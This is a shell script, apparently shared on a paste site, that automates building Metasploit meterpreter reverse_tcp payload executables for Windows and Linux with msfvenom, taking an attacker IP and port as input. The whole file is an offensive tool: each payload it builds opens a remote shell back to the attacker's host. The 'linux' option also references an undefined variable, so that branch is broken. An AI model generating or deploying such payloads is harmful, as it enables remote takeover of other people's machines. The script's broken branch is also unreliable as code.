create-meter.sh 1000 B

123456789101112131415161718192021222324252627282930313233343536373839404142
  1. #!/bin/sh
  2. # scripts to create the most used meterpreter without much typing
  3. if [ $# -ne 3 ]; then
  4. echo "[-] create_meter <platform> <ip> <port>"
  5. echo "-> available platforms are: {win, win64, linux, linux64}"
  6. exit 1
  7. fi
  8. # 32 bit payloads
  9. create_win_x86="windows/meterpreter/reverse_tcp"
  10. create_unix_x86="linux/x86/meterpreter/reverse_tcp"
  11. # 64 bit payloads
  12. create_win_x64="windows/x64/meterpreter/reverse_tcp"
  13. create_unix_x64="linux/x64/meterpreter/reverse_tcp"
  14. # default values
  15. payload=$create_unix_x86
  16. if [ $1 = 'win' ] ; then
  17. payload=$create_win_x86
  18. format="exe"
  19. elif [ $1 = 'win64' ] ; then
  20. payload=$create_win_x64
  21. format="exe"
  22. elif [ $1 = 'linux' ] ; then
  23. payload=$create_linux_x86
  24. format="elf"
  25. elif [ $1 = 'linux64' ] ; then
  26. payload=$create_unix_x64
  27. format="elf"
  28. fi
  29. ip="$2"
  30. port="$3"
  31. echo "[*] Creating meterpeter (payload: $payload LHOST: $ip LPORT: $port)"
  32. msfvenom -p "$payload" LHOST="$ip" LPORT="$port" -f "$format" -o "meter.out"